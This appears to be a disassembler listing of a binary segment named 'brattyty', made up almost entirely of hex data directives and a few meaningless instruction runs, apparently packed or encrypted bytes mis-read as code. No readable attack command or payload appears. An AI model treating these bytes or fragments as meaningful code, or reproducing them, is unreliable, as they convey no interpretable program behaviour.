		dd 0AE2D2D55h, 68A6D548h, 0E9AE2DD1h, 26A4EC26h, 0EC26A4ECh
		dd 0A4EC26A4h, 0A6D548AEh, 2D45D168h, 2D6C5D2Dh, 5D2D6C5Dh
		dd 0D2D22D6Ch, 0C5375BD2h, 0C61E2958h, 2AC6A62Ah, 0C42858A6h
		dd 0C688AE2Dh, 2858A620h, 2D452DC4h, 652D452Dh,	452DD2D2h
		dd 2D452D2Dh, 0C6473250h, 472DA62Ah, 0D2D26F2Dh, 6DAE2459h
		dd 6CEBD2D2h, 2D2D7B2Dh, 17262D2Dh, 0A678D2D2h,	2D2D2CC1h
		dd 2D7D742Dh, 48AEE9AEh, 0AE222DD9h, 78AE0659h,	0A678C1A6h
		dd 0C62F58C1h, 2DA8A02Dh, 452D98D2h, 0A8A62D55h, 0EB2D2D2Dh
		dd 2D2DBCA8h, 45A8A758h, 78C62F59h, 2AC6C1A6h, 3D50AEA6h
		dd 59E9AE2Dh, 3B59D223h, 0A62AC6D2h, 0C6475747h, 6CC1A620h
		dd 0D558D22Dh, 0C6D548AEh, 2D2DA62Ah, 0AE5E59AEh, 2DA620C6h
		dd 88AEE9AEh, 2D6C5FDDh, 5FE00945h, 0A6782D6Ch,	2D2D10C1h
		dd 78C62F58h, 742DC1A6h, 2C452DA4h, 0C6395B2Dh,	88AEA62Ah
		dd 472558C1h, 2D472558h, 2558AE2Dh, 0F9A92247h,	0A0E9AE2Dh
		dd 2859CDA8h, 47285847h, 58472859h, 2D2D4728h, 0D2D20DAEh
		dd 7874742Dh, 0AE2DC1A6h, 0A620C6E9h, 2DE9AE2Dh, 0AE2D3D8Dh
		dd 2DA92290h, 59EA2159h, 2D47EA27h, 0F5A8A6A0h,	59C53358h
		dd 5659C50Eh, 0C62F5845h, 0A0D558D2h, 80F2C9A8h, 0C1A678B1h
		dd 0C6AE2B59h, 2D2DA62Ah, 2D2D2F74h, 2D452D2Dh,	0AE2DE9AEh
		dd 0A620C6E9h, 58C1A678h, 0D2D3C62Fh, 2DA8A0D2h, 0D2C1A678h
		dd 0A6782558h, 2150AEC1h, 59285B2Dh, 0A8A6D223h, 2222586Dh
		dd 0A0C62F58h, 62D19A8h, 0C1A678A8h, 2D2150AEh,	2459285Bh
		dd 0C42858ACh, 2FA4742Dh, 0AE2D2D2Dh, 245B2DE9h, 582D2D2Fh
		dd 0D2604561h, 0FEED45D2h, 45E188AEh, 2858AE55h, 0D23C58C4h
		dd 2DA6742Dh, 742D7474h, 0E9AE2D74h, 2DE9AE2Dh,	2D2DE9AEh
		dd 0C4742DA6h, 2DC62F58h, 0A678A774h, 2558D2C1h, 0AEAE742Dh
		dd 0D2DB2D90h, 0A62159D2h, 502D90AEh, 2159453Bh, 81A8A7A6h
		dd 0DFDD50AEh, 3B50D2D2h, 0D168EB45h, 50A63F59h, 2758453Bh
		dd 3588AE45h, 0AE453B50h, 36C63D88h, 2D6C5CD2h,	2D2D6C5Ch
		dd 6C5C7474h, 0D2D2DD2Dh, 2DA620C6h, 742D7474h,	74742D74h
		dd 5C2D6C5Ch, 3F592D6Ch, 0D2D2DDA6h, 2DDD50AEh,	0A6782D2Dh
		dd 0C62F58C1h, 2DE9AE2Dh, 0A02DAE74h, 6DA8A0A8h, 0D2C1A678h
		dd 7A2D2558h, 3D472D45h, 0AEA8EA2Dh, 0ED1ED148h, 0A8A62DA0h
		dd 592D6C5Fh, 2F59C428h, 0C1A678C6h, 2DD22359h,	0AE2DA474h
		dd 74742DE9h, 2D47742Dh, 0AE2DA474h, 0A860C5E9h, 0C02D2D2Dh
		dd 0C52D2D6Ch, 0D261C4D6h, 0F2C5A8A0h, 2D2D2D6Ch, 0AC395F2Dh
		dd 0A63DEF76h, 79A60969h, 72737609h, 0A82D2D2Dh, 58D259EDh
		dd 2B592DD1h, 2CDCA67Bh, 69A62A59h, 256BA409h, 0EADCA67Bh
		dd 592C992Bh, 3108D22Ah
		db 3 dup(2Dh)
; ---------------------------------------------------------------------------


loc_3FF4B7:				; DATA XREF: brattyty:003DFE40o
		test	al, 8Dh
		shr	byte ptr [ecx-2A572AD8h], 1
		shr	dword ptr [eax+70A8D3D5h], cl
		shr	byte ptr [eax+15A8D119h], 1
		shr	byte ptr [eax-2EF62EF3h], 1
		ror	byte ptr ds:0D10DD2D1h,	cl
		ror	byte ptr ds:70A8D2D1h, cl
		shr	byte ptr ds:2D2C2D2Dh, 1
		sub	eax, 0A82D2D2Ch
		rcl	ebp, 7Dh


loc_3FF4EB:				; CODE XREF: brattyty:003FF512j
		sub	al, 2Dh
		test	al, 0F1h
		aad	0A8h
		aad	0D0h
		test	al, 0Dh
		xlat
		test	al, 31h
		fisubr	dword ptr [eax-2257272Fh]
		shl	byte ptr [eax-2932292Fh], 1
		shl	byte ptr [eax-2932292Fh], cl
		rcl	byte ptr [eax+6890D050h], cl
		aam	0A8h
		loope	loc_3FF4EB
		test	al, 0E2h
		aam	84h
		sub	eax, 0D4E2A82Dh
		test	al, 19h
		aam	0A8h
; ---------------------------------------------------------------------------
		db 0E3h, 0D4h, 0A8h
		dd 2D2DD4E2h, 0D469A82Dh, 0A8D0D1A8h, 0E1A8D53Dh, 0D2D2D7D7h
		dd 0A8ED2D2Dh, 0D9A8D3C1h, 2FFD68D3h, 192F296Dh, 2C692D2Ch
		dd 0D2C6929h, 0A8D6D1A8h, 2C19D6FDh, 0F245282Dh, 25F24128h
		dd 2DA82D2Dh, 0C0F1A8DDh, 68DD2DA8h, 0D1687DD5h, 7DD168ADh
		dd 697DD168h, 0AC693DACh, 2D2D2D21h, 0A87DF568h, 0DAE9DAF9h
		dd 0DAF1A8D2h, 0A8DAE1A8h, 0DDA8DAF1h, 0C1E1A8C2h, 0A82FDD68h
		dd 0A1A8C25Eh, 0C285A8C2h, 0E9D2C1E9h, 0C1E9D2C1h, 0D2C1E9D2h
		dd 0E9D2C1E9h, 0C1E9D2C1h, 0D2C1E9D2h, 21D2C1E9h, 6CCE2D2Ch
		dd 0A021472Dh, 0A8D3F890h, 71A8D375h, 0D0D9A8D3h, 0A8D6C5A8h
		dd 0D9A8D3D1h, 0D3D1A8D0h, 0A82D2DB7h, 0DD68D3D1h, 7DDD687Dh
		dd 687DC568h, 0C9A87DC5h, 0D3C5A8D0h, 0A8D3C5A8h, 0B5A8D1B5h
		dd 0D3D1A8D1h, 6CD0D9A8h, 2D6CC52Dh, 0C52D6C47h, 6CD22D6Ch
		dd 9A8A02Dh, 0C40DA8D7h, 0A8D36DA8h, 2D32D369h,	7DD5682Dh
		dd 6CA4D568h, 0D568D22Dh, 472D6C2Ch, 68E4ED1Eh,	0F9682CD9h
		dd 7DC1687Dh, 6CD22D6Ch, 0DD68D22Dh, 66DD6849h,	686FDD68h
		dd 0DD681FDDh, 34DD680Ch, 90D419A8h, 59A8D7C9h,	0D659A8D6h
		dd 0ADD659A8h, 55A8D2D6h, 0D595A8D6h, 0A8D599A8h, 0D5A8D59Dh
		dd 7DF568D6h, 6CC52D6Ch, 0C5A8C52Dh, 0D1D5A8D6h, 0A8AED2D2h
		dd 8DA8D0D5h, 0D8B9A8D8h, 0A8D8BDA8h, 0C968D8A1h, 7DC5687Dh
		dd 68D701A8h, 0D1680DD1h, 3DD16835h, 0C1D6F1A8h, 0D6C1D2D6h
		dd 0C52D6DD2h, 0A8D34890h, 0C568D375h, 0D069A87Dh, 68D005A8h
		dd 0D9682CD1h, 742D2D7Dh, 0A8D22D6Ch, 75A8D175h, 0D071A8D1h
		dd 0A82D2D2Dh, 0AC68D371h, 2CD6687Dh, 0A8D371A8h, 0D2E1D6C1h
		dd 0D745A8D2h, 0C54828A9h, 45A8D2D6h, 0D745A8D7h, 0A8D5C5A8h
		dd 0D5C9D5C5h, 0DA4DA8D2h, 0A8DA4DA8h, 71A8D371h, 0D8C9A8D3h
		dd 0F1DA65A8h, 0D8F1D2D8h, 0DB2128D2h, 0A8D8C5A8h, 3CA8DB21h
		dd 0DB3BA8DBh, 0A8DA05A8h, 89A8D371h, 0D371A8D8h, 0A8D371A8h
		dd 71A8D371h, 0D371A8D3h, 0A8D371A8h, 71A8D371h, 0D371A8D3h
		dd 0A8D371A8h, 39A8D371h, 0B13DA8B1h, 0A82D2D21h, 71A8D371h
		dd 0D371A8D3h, 0A8B12DA8h, 43A8B6D1h, 0D2D2C8B1h, 0A8B145A8h
		dd 61A8B161h, 0B161A8B1h, 50B14DA8h, 71A82D2Dh,	0D371A8D3h
		dd 0A8D371A8h, 0C1A8B6DDh, 0B6C5A8B6h, 0A8B6C9A8h, 0F1A8B6CDh
		dd 0D7E1A8B6h, 0A8D15CA8h, 5DA8D32Dh, 0D335A8D3h, 0A82D2D8Eh
		dd 51A8D3D1h, 0D3D1A8D3h, 0A8D2D291h, 0C990D09Dh, 0D0F9A8D0h
		dd 0A9A43D68h, 0D1A8D128h, 0A43D68C2h, 0B92D2DBAh, 0D1A82D2Dh
		dd 0C2D1A8C2h, 0A878EEE4h, 0DCA8D0E1h, 0D095A8D3h, 0A8D0E1A8h
		dd 8D90D531h, 0D1BDA8D1h, 0A8742D2Dh, 61A8D015h, 742D2DD6h
		dd 0A8D661A8h, 0D24ED65Dh, 0D65DA8D2h, 2D742D2Dh, 0D769742Dh
		dd 2C2569D2h, 0A8D2D769h, 69A8D511h, 742D2DD5h,	1D2D501h
		dd 0D51DD2D5h, 0D2D51DD2h, 99D259A8h, 0C399D2C3h, 2D6C8CD2h
		dd 687D8568h, 85687D85h, 7D85687Dh, 55A4296Dh, 9D682D2Dh
		dd 552CA97Dh, 0C57B2CA9h, 2CA968A4h, 0C32CA9F6h, 0A9822CA9h
		dd 2CA9072Ch, 2C2CA93Eh, 0A9F52CA9h, 2CA9822Ch,	932CA99Ch
		dd 0A90F2CA9h, 2CA9BE2Ch, 0C2CA9A3h, 0A94F2CA9h, 2CA96D2Ch
		dd 872CA97Ch, 0A9702CA9h, 2CA97E2Ch, 0E52CA9ACh, 0A9CB2CA9h
		dd 2CA9FB2Ch, 0C02CA9AAh, 0A9282CA9h, 2CA9D52Ch, 0A72CA9F4h
		dd 0A9D568A4h, 2CA9212Ch, 282CA95Dh, 0A9482CA9h, 2CA9692Ch
		dd 8A2CA9BAh, 0A9142CA9h, 2CA9EE2Ch, 502CA9BFh,	0A9FC2CA9h
		dd 2CA9622Ch, 392CA9CDh, 0A98C2CA9h, 2CA9AF2Ch,	962CA918h
		dd 0DDBC2CA9h, 8568EC22h, 0C6FD187Dh, 0A1D2D2D1h, 28A9D2D1h
		dd 0A128A9A1h, 0A9A128A9h, 28A9A128h, 0A128A9A1h, 0A9A128A9h
		dd 28A9A128h, 0A128A9A1h, 0A9A128A9h, 28A9A128h, 0A128A9A1h
		dd 0A9D32DA8h, 28A9A128h, 0A128A9A1h, 0A8A128A9h, 0D1A8D9A1h
		dd 0D0D1A8D0h, 90D32DA8h, 0C090D3D0h, 0D3D5A8D3h, 0A82CD168h
		dd 0E1A8D3C5h, 2D2D7FD7h, 0A8D3D1A8h, 0D568D36Dh, 7DC5682Ch
		dd 687DC568h, 0C5687DC5h, 0D185A87Dh, 0A8D37DA8h, 4DA8D34Dh
		dd 0D349A8D3h, 0A8D2D3D5h, 0B1A8D985h, 0DFBC90D9h, 6CD349A8h
		dd 2D6CC52Dh, 0D22D6CC5h, 6C452D6Ch, 2D6C452Dh,	0A62D6CD2h
		dd 5DD22D6Ch, 0DD68D2D3h, 0D099A87Dh, 0A8D099A8h, 0D2F6D095h
		dd 0D0E6A8D2h, 0A8DA81A8h, 9168DA99h, 0D2D2307Dh, 6C2D2D17h
		dd 2D6CD22Dh, 472D6C47h, 0A87DD768h, 0D768D3DBh, 0D4F5A87Dh
		dd 0A8D7C9A8h, 0D2FDD4EDh, 0D7C9A8D2h, 0A8D181A8h, 0F1A8D181h
		dd 0D0D890D4h, 0A8D3D490h, 47A8D047h, 0D7C9A8D0h, 0A8D7C9A8h
		dd 0F568D7C9h, 7DF5687Dh, 6CD1FDA8h, 0A9A8A02Dh, 0D6A9A8D6h
		dd 0A8D16FA8h, 6FA8D16Fh, 0D16FA8D1h, 0A8D379A8h, 0D659D6BAh
		dd 0D6A9A8D2h, 6C7DD168h, 6DA8472Dh, 0D0C5A8D1h, 0A8D069A8h
		dd 65A8D365h, 0D06DA8D3h, 0A8D019A8h, 6CFED1F9h, 0D691A82Dh
		dd 0A8D711A8h, 11A8D161h, 0D611A8D6h, 0A8D2D23Dh, 0DB2DD93Dh
		dd 0DB2DA8D2h, 0A87DDD68h, 0C1A8DF25h, 0DC35A8DCh, 0A8DCD5A8h
		dd 2C05DC29h, 0DD11A82Dh, 0A8D765A8h, 0D5A8D6DDh, 0D6D1A8D6h
		dd 0A8D711A8h, 15A8D6D9h, 0D719A8D7h, 0A8D71DA8h, 5A8D701h
		dd 0C4C1A8D7h, 0A02D2D26h, 95A8C4D9h, 0C39DA8C2h, 90D2D2C0h
		dd 0D240C398h, 0C399A8D2h, 0CEC0B1A8h, 0E5A8D2D3h, 0D2C4C9C2h
		dd 0F5A4AC29h, 0AC29D2C4h, 0D2C085A4h, 0AED2C0B5h, 0CB656588h
		dd 0CB61A8D2h, 0A8D2D23Eh, 6CF3C039h, 0C2C5A82Dh, 2B210941h
		dd 0DD605F99h, 0DF25A0C5h
; ---------------------------------------------------------------------------


loc_3FFB08:				; DATA XREF: brattyty:003DFE44o
		mov	al, ds:0B800DCC1h
		jbe	short $+2
		mov	byte ptr [ebp+0C28D00h], 0A4h
		retn	0CB00h
; ---------------------------------------------------------------------------
		retn	9B00h
; ---------------------------------------------------------------------------
		dd 339C00D6h, 346300h, 5D003475h, 35FF0035h, 36B600h, 0E30036BBh
		dd 36F10036h, 3BC00h
		db 0A9h, 2Ah
word_3FFB3E	dw 5324h		; DATA XREF: brattyty:003DFE48o
		dd 462650C0h, 2E0B440Bh, 0EBF6B1E5h, 63B7E8F5h,	7B0F0A42h
		dd 9FA79C8h, 0FE0D0610h, 0FD7758A4h, 1B4AEB8h, 0E75CAB45h
		dd 59F8C236h, 0A2FC00FCh, 0A2FCA243h, 16AF153Eh, 0C8ABE437h
		dd 7EA33DFAh, 0C8304B52h, 6A4CE8D2h, 8FD1433Ch,	0EC0D0036h
		dd 0C572CF8Dh, 3E8F591h, 0A203025Ch, 65BE5DD3h,	0F6E52Ch
		dd 0E5ACE3D1h, 0E52CE335h, 0FF470618h, 2C41828h, 6F76C0A7h
		dd 0DEA511h, 193A9B38h,	8070890h, 0A5CD0277h, 436BF21Ch
		dd 483EE10Bh, 0A3B7A4E6h, 0ACC40062h, 135000CAh, 9E37020Eh
		dd 92725A99h, 2B0E8E73h, 774A708Fh, 60FF9Dh, 26185E3Ch
		dd 0CDF798FAh, 41E0AC0h, 0FEE7FF1Fh, 0E382DDEBh, 0CD165200h
		dd 0FFC5E716h, 3CF0D8F2h, 37A1014Ch, 67B0100h, 776F7CFh
		dd 9E970464h, 416478BCh, 804C93C3h, 96867F23h, 0D2936Dh
		dd 0C3A97599h, 40104AEh, 26CBDC4h, 0D6CFB789h, 0A1F1E29Ah
		dd 0FF81C278h, 0BEC7E63Ah, 16AD1245h, 0CF53C343h, 6914FD31h
		dd 39594BCEh, 383742C0h, 0C5410080h, 0C5FBC676h, 0C457C6F6h
		dd 0FE4AFFCBh, 831C41E4h, 0D113D33Ch, 4132FF41h, 0FF2BFF3Fh
		dd 0FF53FF53h, 48F24799h, 45784371h, 4A464603h,	0F948418Dh
		dd 0E4909BE9h, 4B54474Bh, 774FF6Fh, 3FF4011Dh, 4C7C831Eh
		dd 800BC293h, 0E954669Eh, 168F81Bh, 4E244CC5h, 0C16F2EE7h
		dd 9AD08F97h, 0FC81BC08h, 0BFF8416Ch, 3E984322h, 0EB261F45h
		dd 0AC849147h, 0A941A940h, 0B74BC11Ch, 5A7651FDh, 386244D7h
		dd 1B740824h, 1EBB2556h, 0B05303h, 4BC1AA85h, 3F220159h
		dd 0E237FD8Bh, 0EC3DA7B8h
dword_3FFD00	dd 0F12D682Dh, 0D27ED2D2h, 222DA8D2h, 0D568D2D2h, 98D2A42Dh
					; DATA XREF: brattyty:003DFE4Co
		dd 0D0D22D74h, 612DD2D2h, 3D2D269h, 6961D0D2h, 0D206D2C6h
		dd 2F2ED2D2h, 0D22DD2D1h, 202DECECh, 0D0D2A6D2h, 0D2ECD2ECh
		dd 452DD2C4h, 3707DA6h,	0D2596961h, 587CD2D2h, 0D26C2C5Ah
		dd 0D22C2D70h, 0D2D2452Dh, 0D5D2D2A8h, 0D2D2D2D2h, 0A8D249D5h
		dd 472F21D2h, 2D7CD2D2h, 62D5786h, 0A8452D58h, 0D27498D2h
		dd 0D2D22D6Ch, 0C9D2D221h, 0D2D2D274h, 0ACD2E9A8h, 33A8D2D2h
		dd 0D238A0DAh, 0D2A4AE1Eh, 4798D298h, 0D2A429D2h, 0D274D290h
		dd 90D2D2A0h, 90A8D221h, 0DB2DD259h, 0D2D2D2D2h, 98D27498h
		dd 585050AEh, 2D6045C4h, 45EDAE25h, 2CED2DD2h, 0D221A8D1h
		dd 0D2D2A6EDh, 77D2AE74h, 5845D259h, 0D2D229AEh, 0D22D6C2Dh
		dd 3DD2A8D7h, 2DD2D22Bh, 0A6D2A8A8h, 0D4D4D47Ah, 0F166DA8h
		dd 2BD2D4D2h, 0D2ABA8A8h, 0D2E5A801h, 0D4A82DD2h, 0A8D4A8D2h
		dd 0D221A8D2h, 0D2D4D2A8h, 0D2A8D2D2h, 0C6EAD2EAh, 0D2D2D2A6h
		dd 0D22DD2D5h, 2222D2C6h, 3DC5D22Dh, 0C595AEE9h, 0A63D2174h
		dd 1F6C2D45h, 26B6D51h,	2D2D2DC6h, 2D2D2D2Dh, 2D262DD9h
		dd 19195550h, 60D6582Dh, 0ED4B47C6h, 2529462Dh,	2D192F19h
		dd 2DD62CA4h, 0D2D22D21h, 0D6D62CA4h, 0D2222D6Dh, 0AEC52CA4h
		dd 352D556Ch, 0A02D2DC1h, 21906CA0h, 0A8C36C74h, 7498D221h
		dd 0ED4C587Ch, 0C5686DAEh, 5959FD2Eh, 742C742Ch, 0C6682C45h
		dd 0A46CC668h, 31A4E578h, 583D4568h, 0E4D2A468h, 2DD2A02Dh
		dd 0A02DD2A0h, 22A02D22h, 0D2D2D12Dh, 68EDD6A8h, 58AEE1AEh
		dd 2FED252Dh, 59A0A82Dh, 0A0A888A9h, 0A6A9B857h, 0D2B9B814h
		dd 0A8A0D259h, 0A9B80EA0h, 79B812C6h, 5FD2FFD2h, 2D59A0E5h
		dd 0A9B857A0h, 0D2B814A6h, 0E7E4D259h, 60E4EDD1h, 0FF21786Dh
		dd 0C621A658h, 143068A6h, 47C5D2A6h, 59A47350h,	6849973Bh
		dd 5D68600Dh, 60942DA4h, 0D2D2D2A6h, 0D2DAD238h, 0D2D25EDAh
		dd 0D22DAE74h, 0D2DAD2DAh, 950D2EDh, 2DEE6868h,	0D2A1D2C2h
		dd 0A1D2C2D2h, 74D2D22Dh, 4BD2D2EDh, 45D2A4D2h,	0A8D2E9E9h
		dd 2D2DD22Dh, 2C224574h, 2C74D274h, 2C222C74h, 2C222C22h
		dd 22222C22h, 742222C5h, 222C2C45h, 742C222Ch, 2C222C22h
		dd 2C74D274h, 0C5D2C474h, 222AD222h, 36A62D74h,	0EDD2D2A6h
		dd 0D2D27DC5h, 2874D2A6h, 2E50AED2h, 2DD18AC7h,	2D2D2D74h
		dd 0AE21D258h, 2C2D2D5Ah, 58A4A82Dh, 2525EC68h,	58D9A6DDh
		dd 747D6839h, 0A8D290D9h, 0D2D9D2C6h, 0A43DD268h, 597DF945h
		dd 0D2B9365Ah, 252DC0EDh, 6C2DD2D2h, 6979D2D2h,	0D274592Dh
		dd 252B7C74h, 0C502D45h, 2D2DA6D5h, 68683227h, 0D2A410C5h
		dd 50A650E4h, 0EAD5C62Dh, 21A864C6h, 0D235D2D2h, 0D2D67D69h
		dd 2D6C5847h, 745FAE79h, 74D92DD2h, 98D2A845h, 74D92D74h
		dd 2D98D274h, 0D52D47C9h, 68E4C6A0h, 71A4C668h,	0DD52D60h
		dd 684725E4h, 2D2D47D2h, 2DD2A8F1h, 742D2D2Dh, 2D2D2D2Dh
		dd 2D2DA82Dh, 2DA62D74h, 0A047472Dh, 2DD2D92Dh,	2 dup(742D2D2Dh)
		dd 2DA82D2Dh, 0A82DA82Dh, 0C42A2258h, 27A82247h, 0ACAED2AEh
		dd 0D298D22Ch, 0D398D258h, 0A0C5D3D2h, 0D2C577C5h, 2DAED274h
		dd 2125ED54h, 68097468h, 50A46068h, 0A6682D25h,	0C535A660h
		dd 587060EEh, 593D68AEh, 210D3D68h, 68682068h, 0CE686893h
		dd 5958A62Eh, 3580D59h,	58696868h, 5FA674C6h, 21742D93h
		dd 592D935Eh, 0C6A6F521h, 68A6C6C6h, 0EA93EDEDh, 2 dup(0A068A068h)
		dd 0A0A0ED68h, 0A022A022h, 50A0A022h, 936859A4h, 0C5930D93h
		dd 0A42D2447h, 5E5E5E5Eh, 19D1065Eh, 0D2EC252Dh, 0DAD2DAD2h
		dd 94DAD294h, 0EAD2A047h, 0A9A8D2D2h, 98D5D5D2h, 0D2C6C6C6h
		dd 2 dup(0D2D2D2D2h), 7C29D2D2h, 0C5A658CEh, 0AE45588Ch
		dd 2D684D2Dh, 452D2D2Dh, 0D2E92DD2h, 5EA82D2Dh,	0A6D206D2h
		dd 0DAC1252Dh, 0D294DAD2h, 0ED4794DAh, 0F9EAA8A8h, 0D2C6C6C6h
		dd 74D8D2D2h, 0A658F17Ch, 2DB53DC5h, 2CA45950h,	28252DD2h
		dd 0AE8C2D90h, 0C6F9D2D2h, 0D2D2D6D2h, 0D2A8D2D2h, 58F47C74h
		dd 5B68C5A6h, 68CE582Bh, 74582B5Bh, 582B5B68h, 0AE7C6C74h
		dd 0A6082D25h, 0EDAE721Eh, 7C474725h, 0A6A62D7Eh, 0AE721EA6h
		dd 0ED2DAE68h, 0AE255860h, 252DD96Ch, 2D2DA8D2h, 2D2DD245h
		dd 7C504525h, 382D58E2h, 0D547AE25h, 60D27468h,	382DA629h
		dd 0A8D2D2D2h, 0D2D0AE1Dh, 0D2D02F2Dh, 0D22DD2D0h, 0D2D2D2EDh
		dd 0D2D22AD2h, 0D2A4D2D0h, 0D2D2D29Bh, 0D2D2D2D2h, 8EDD2DAEh
		dd 2D2D582Dh, 0E92DE474h, 0DD501F58h, 0D2599858h, 742DD2D2h
		dd 0B27CD2E9h, 0E8F1ED58h, 7219358h, 687DED7Dh,	0A4C67D12h
		dd 5858A659h, 257D7D93h, 2293936Ch, 0A67DA67Dh,	0A659A4C6h
		dd 7A2C5058h, 5568502Dh, 2D68A468h, 2D60A88Fh, 0D2E975DAh
		dd 6831C40Bh, 2DD27575h, 0C5D7D2A8h, 2DDA75D2h,	4DD4D22Dh
		dd 0A621DAD2h, 902D2DC4h, 0D2DB9093h, 0C498C498h, 0D2DAC547h
		dd 20D82DD2h, 0D2DBA8D2h, 0DAD4D2D4h, 0D2DAD8D2h, 0D2D2D2D2h
		dd 0D2E9E9D2h, 0D2EDD2D2h, 2DDADA75h, 0D26CD2B0h, 0D2B0B0A8h
		dd 808D2A8h, 75A9DAA0h,	0D2D275D2h, 5DDA7585h, 0D2DAD25Dh
		dd 3855DAA6h, 7574DA0Dh, 754975B8h, 0D2DA75E9h,	742D6855h
		dd 0D267D274h, 302DA8D2h, 0DAA821A8h, 0C4885DB9h, 7574DA74h
		dd 0D25D5DDAh, 315DD2DAh, 5D227A8h, 55DAD231h, 0DA753139h
		dd 0BD9AD231h, 6855DAC4h, 55DA750Dh, 55DA7568h,	0B7C40DD6h
		dd 75142D2Ch, 920D3B55h, 0A1DAD2DAh, 0DAD2DA2Dh, 0D2DA74DAh
		dd 0D2A02DDAh, 58A9AD2Ch, 71D26D59h, 6D5958A6h,	0A8930DD2h
		dd 21D2D239h, 0D2A02DA8h, 2DDA7585h, 0A5D2AED5h, 0D2A5D26Dh
		dd 6DA5D2A6h, 0A6D2A5D2h, 0D26DA5D2h, 0D2A6D2A5h, 0A5D26DA5h
		dd 0A831B1D2h, 492DDAA6h, 0C5E9B1D2h, 0A6D2D2A8h, 5D75D2DAh
		dd 0D2D2D25Dh, 2171DADAh, 0DADAC458h, 0B6D2A42Dh, 0DAD2DAD2h
		dd 94DAD294h, 0DAD2D247h, 0D294DAD2h, 0D24794DAh, 2 dup(58C658C6h)
		dd 9898C6C6h, 0D2989898h, 58DAD2D2h, 72A8E968h,	0D2A82D93h
		dd 0D239D2D0h, 0A4ACD2D2h, 0A8E9D2DDh, 0A8390D2Dh, 0DAA82D74h
		dd 0C4A845D2h, 742C74A8h, 45D2DA2Dh, 0A874A8C4h, 0A8D2A8D2h
		dd 0A8A845D2h, 0EE58587Dh, 682D5870h, 2DD5DA6Ch, 45122D55h
		dd 42A82FA8h, 0BFD2DAC4h, 5BA8EDD2h, 0AED2EAA6h, 0AED26577h
		dd 0AEAE57A8h, 50AC582Dh, 743DE92Dh, 2D2DC57Dh,	2DC5A8E9h
		dd 0A6E9A6A8h, 2D74A8A6h, 682DC5A8h, 0C57DA8D1h, 0A458D150h
		dd 0D2D1D174h, 680E68E4h, 2D747459h, 2D748C74h,	682D2D2Dh
		dd 39395859h, 682D0974h, 597D7D7Dh, 0DA2D746Dh,	0A8A02DD2h
		dd 0EAA65B74h, 7477AED2h, 0D293CD74h, 0DDF8A8E9h, 6D6D9374h
		dd 0A8F22DD2h, 8D7474D2h, 2C748D2Dh, 6D74C274h,	2D2D8D74h
		dd 0D2A82DD2h, 0A8A8D2D5h, 555925D2h, 74353905h, 7459D2A8h
		dd 2D28A82Ch, 11D2A835h, 0D2AE2919h, 0AE291929h, 0D2D2D2A0h
		dd 0A146624h, 0A82DD2A8h, 29112DD2h, 0AE59D290h, 74C40929h
		dd 93747488h, 0BD2DA649h, 2D2D2D2Ch, 2DD52D17h,	74D22DEDh
		dd 0D2D2A6D2h, 0A82D2DAEh, 2DD25974h, 0D20C5A35h, 8D6858D2h
		dd 586C9B68h, 28AD162Dh, 28ADE5ADh, 0ADE5ADA6h,	48A5212Fh
		dd 606C6C2Eh, 6C6C6C6Ch, 0AD686868h, 47587B6Ch,	7B6C2EAEh
		dd 0A4EEEE2Ch, 0A6A468D5h, 68A4C521h, 6960A62Dh, 0A4C574D2h
		dd 74EDC547h, 0D56D2DAEh, 0D2D2D22Dh, 0D12521A6h, 0D5D9C4A6h
		dd 0D114D1D9h, 68684CDBh, 0D1C7D5D9h
		dd 68D966E2h, 0A53D968h, 0D968681Dh, 51B4FDD5h,	0A6D96868h
		dd 6D2D6DD5h, 0A62921D5h, 4745452Dh, 0FEDD2E2Eh, 0C525C572h
		dd 5A2CAEC5h, 877BED2Ch, 52E46852h, 2D2DE468h, 0A8A14DD2h
		dd 0A8A8A8D2h, 0D2D22DD2h, 3 dup(0D2D2D2D2h), 2DAED2A8h
		dd 82D22D68h, 2B3D2B3Dh, 0ED2B3DAEh, 0AE68D2A8h, 2B3DED25h
		dd 21D82DA8h, 0D22DD2A8h, 6850D929h, 60506C60h,	0D22DA5A6h
		dd 0D2CDA6A8h, 0D274D2D2h, 2DAE2DD2h, 0A02D74D1h, 0DA74E9A8h
		dd 0D290A9DAh, 0D22EAEAEh, 0AE2DAEDAh, 0CE2DAEECh, 2DAEAE2Dh
		dd 98AEE92Dh, 0A82DAC74h, 0A81F7445h, 0A81FA0C5h, 4821252Dh
		dd 74A8B22Dh, 0D258D258h, 90D2A674h, 7CD259D2h,	252D1BA8h
		dd 0C5D1D2D2h, 0D2D529D2h, 0E985AE1Eh, 0D9D288D2h, 0D21E8DD2h
		dd 0D2D2A805h, 2DD2A4D2h, 0EAD2D22Dh, 0D2D2D2A8h, 0D202D2DFh
		dd 0D2DFD2D2h, 0D2D2D2D2h, 0D2D2A4D2h, 28D2D2D2h, 7CD274D2h
		dd 6068586Ah, 215E2C48h, 0D25EEAAEh, 50E45858h,	0D5586831h
		dd 60EDED47h, 0A668EDD2h, 744CD22Dh, 2D747DD2h,	0D2A82DEEh
		dd 6C2C0D6Ch, 2D94D245h, 0AE7DA4EDh, 0EED22DE4h, 0D2A8682Dh
		dd 0D2A88890h, 2169E4D0h, 0DA682D2Ch, 0A1D2DAD2h, 452D74D2h
		dd 7474682Dh, 0AC456C74h, 59A07445h, 0D2D209D2h, 296811AEh
		dd 2D68EE45h, 59742DEDh, 58685868h, 2D45E968h, 902E29DAh
		dd 2D212D2Ch, 0D2D221DAh, 0D228D22Bh, 2D28D22Bh, 0D2D274E9h
		dd 4574D274h, 2174ACD2h, 0A47DD2A8h, 74D2217Dh,	0D2D22DF2h
		dd 0CD2C8574h, 0A6A8D22Dh, 0EAEA93CDh, 0D2D2D2A8h, 0D2A8D2D2h
		dd 0E9C5D2D2h, 0D5D21BD4h, 0D2BBD247h, 0D2D92DD2h, 0D29CD261h
		dd 59D27485h, 0E9D7D2D2h, 0E9D2D5D2h, 683D50AEh, 747DA66Ch
		dd 255B5B59h, 0D52D6804h, 6821252Dh, 88212DEEh,	0A47DA8D2h
		dd 0A893D22Dh, 0AED22847h, 707CD259h, 0D2252D58h, 2DA87D6Ch
		dd 2DA6D27Dh, 47CD2D3h,	0EEC5A658h, 0E968D22Dh,	58C42DAEh
		dd 68CA585Bh, 0D22DEEA5h, 0A09AD0E9h, 0D2592DD2h, 0C5D0A84Eh
		dd 0D2D2D211h, 0C4582DAEh, 684A5039h, 0D9D1215Bh, 2CD15BEAh
		dd 0EE456868h, 0A4A6A668h, 48582C68h, 5868B9D1h, 254547A6h
		dd 2D88A4A4h, 74D22125h, 6CD2D16Ch, 0D2AEF6D2h,	98D2D2D2h
